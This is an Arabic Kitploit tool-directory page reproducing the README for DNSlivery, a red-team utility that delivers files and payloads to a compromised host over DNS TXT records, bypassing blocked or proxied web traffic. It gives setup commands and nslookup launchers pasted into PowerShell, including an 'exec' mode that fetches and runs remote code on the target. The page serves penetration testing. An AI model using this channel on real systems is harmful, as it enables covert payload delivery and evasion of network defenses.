Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DNSlivery — سهولة تسليم الملفات والحمولات عبر DNS | Kitploit
أدوات/GitHubGitHub/samybaiwir/dnslivery
تسريب البياناتاختبار الاختراقالقيادة والسيطرةالفريق الأحمرتحليل DNS
GitHubsamybaiwir/dnslivery

DNSlivery

سهولة تسليم الملفات والحمولات عبر DNS

عرض المستودع
426779منذ 8 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

python-3.7 Known Vulnerabilities

DNSlivery

تسليم سهل للملفات والحمولات عبر DNS.

  • DNSlivery
  • شكر وتقدير
  • الوصف
    • باختصار
    • ما المشكلة التي نحاول حلها؟
    • كيف يعمل؟
    • المتطلبات
  • الإعداد
    • منطقة DNS
    • DNSlivery
  • الاستخدام
    • الخادم
    • الهدف

شكر وتقدير

هذا المشروع مستوحى في الأصل من PowerDNS والمقطع التقني لـ Joff Thyer في بودكاست Paul's Security Weekly الحلقة #590 (youtu.be/CP6cIwFJswQ).

الوصف

باختصار

يتيح DNSlivery تسليم الملفات إلى هدف باستخدام DNS كبروتوكول نقل.

الميزات:

  • يتيح طباعة الملفات أو تنفيذها أو حفظها على الهدف
  • لا يتطلب أي عميل على الهدف
  • لا يتطلب خادم DNS كامل المواصفات

demo-target.git

ما المشكلة التي نحاول حلها؟

تسليم الملفات و/أو الحمولات بسهولة إلى هدف تم اختراقه حيث يكون التسليم عبر الويب التقليدي غير ممكن ودون الحاجة إلى برنامج عميل مخصص. ينطبق هذا على البيئات المقيدة حيث يكون حركة الويب الصادرة محظورة أو ببساطة يتم فحصها بواسطة وكيل ويب فضولي.

web-delivery-blocked.png

على الرغم من وجود أدوات أكثر اكتمالاً لأنفاق DNS (مثل dnscat2 وiodine)، إلا أنها جميعها تتطلب تشغيل عميل مخصص على الهدف. المشكلة هي أنه ربما لا توجد طريقة أخرى غير DNS لتسليم العميل في مثل هذه البيئات المقيدة. بعبارة أخرى، بناء قناة اتصال DNS باستخدام هذه الأدوات يتطلب امتلاك قناة اتصال DNS بالفعل.

بالمقارنة، يوفر DNSlivery اتصالاً أحادي الاتجاه فقط من خادمك إلى الهدف ولكنه لا يتطلب أي عميل مخصص للقيام بذلك. وبالتالي، إذا كنت بحاجة إلى بناء قناة اتصال ثنائية الاتجاه موثوقة عبر DNS، استخدم DNSlivery لتسليم عميل أداة أنفاق DNS أكثر تقدماً إلى هدفك.

كيف يعمل؟

تماماً مثل معظم أدوات أنفاق DNS، يستخدم DNSlivery سجلات TXT لتخزين محتوى الملفات بتمثيل base64. ومع ذلك، لا يتطلب إعداد خادم DNS كامل المواصفات للعمل. بدلاً من ذلك، يستخدم مكتبة scapy للاستماع إلى حزم DNS الواردة وصياغة الاستجابة المطلوبة.

network-process.png

نظراً لأن معظم الملفات لا تناسب سجل TXT واحد، سيقوم DNSlivery بإنشاء سجلات متعددة مرتبة تحتوي على أجزاء base64 من الملف. كمثال، يوضح الرسم البياني أعلاه تسليم الجزء 42nd من الملف المسمى file.

من أجل استرجاع جميع أجزاء base64 وإعادة تجميعها دون الحاجة إلى عميل مخصص على الهدف، سيقوم DNSlivery بتوليد لكل ملف:

  • مشغّل (launcher) نصي واضح بسيط
  • مُدرج (stager) مشفر بـ base64 موثوق

two-stages-delivery.png

عملية التسليم على مرحلتين هذه مطلوبة لإضافة ميزات إلى المُدرج (مثل التعامل مع استجابات DNS المفقودة) التي لن تناسب سجل TXT واحد.

ملاحظة حول توافق الهدف

حالياً، يتم دعم أهداف PowerShell فقط. ومع ذلك، يمكن تحسين DNSlivery لدعم أهداف إضافية مثل bash أو python. يرجى إبلاغي @no0be إذا كانت هذه ميزة ترغب في رؤيتها مطبقة.

المتطلبات

لا يتطلب DNSlivery بناء بنية تحتية خادم معقدة. في الواقع، هناك متطلبان بسيطان فقط:

  • القدرة على إنشاء سجل NS في منطقة DNS العامة الخاصة بك
  • امتلاك خادم Linux قادر على استقبال حركة udp/53 من الإنترنت

الإعداد

منطقة DNS

الخطوة الأولى هي تفويض نطاق فرعي إلى الخادم الذي سيشغل DNSlivery عن طريق إنشاء سجل NS جديد في نطاقك. كمثال، قمت بإنشاء السجل التالي لتفويض النطاق الفرعي dnsd.no0.be إلى الخادم في vps.no0.be.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

إذا كانت منطقتك مُدارة بواسطة مزود طرف ثالث، فراجع وثائقهم لإنشاء سجل NS.

DNSlivery

المتطلبات الوحيدة لتشغيل DNSlivery هي python3 ومكتبة scapy الخاصة به.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

الاستخدام

الخادم

سيقوم DNSlivery بتسليم جميع ملفات دليل معين (pwd افتراضياً) ويحتاج إلى التشغيل بصلاحيات الجذر للاستماع إلى حزم udp/53 الواردة.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

مثال:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

ملاحظة حول تطبيع أسماء الملفات

نظراً لأن مجموعة الأحرف المسموح بها لأسماء النطاقات أكثر تقييداً بكثير من أسماء ملفات UNIX (وفقاً لـ RFC1035)، سيقوم DNSlivery بإجراء التطبيع عند الحاجة.

مثال:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

انتبه إلى أن كود التطبيع الحالي ليس مثالياً لأنه لا يأخذ في الاعتبار أسماء الملفات المتداخلة أو حد الحجم.

الهدف

على الهدف، ابدأ بـ استرجاع المشغّل (launcher) للملف المطلوب عن طريق طلب سجل TXT المخصص له. المشغّلات الثلاثة التالية مدعومة:

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

ثم، ببساطة انسخ والصق المشغّل المذكور في استجابة DNS إلى وحدة تحكم PowerShell لاسترجاع الملف على الهدف.

مثال:

demo-target.git

تنزيل الأداة
الإجراءالمشغّلالوصف
طباعة[filename].print.[domain](افتراضي) طباعة الملف المُسلَّم إلى وحدة التحكم
تنفيذ[filename].exec.[domain]تنفيذ الملف المُسلَّم (مفيد للنصوص البرمجية)
حفظ[filename].save.[domain]حفظ الملف المُسلَّم على القرص (مفيد للملفات الثنائية)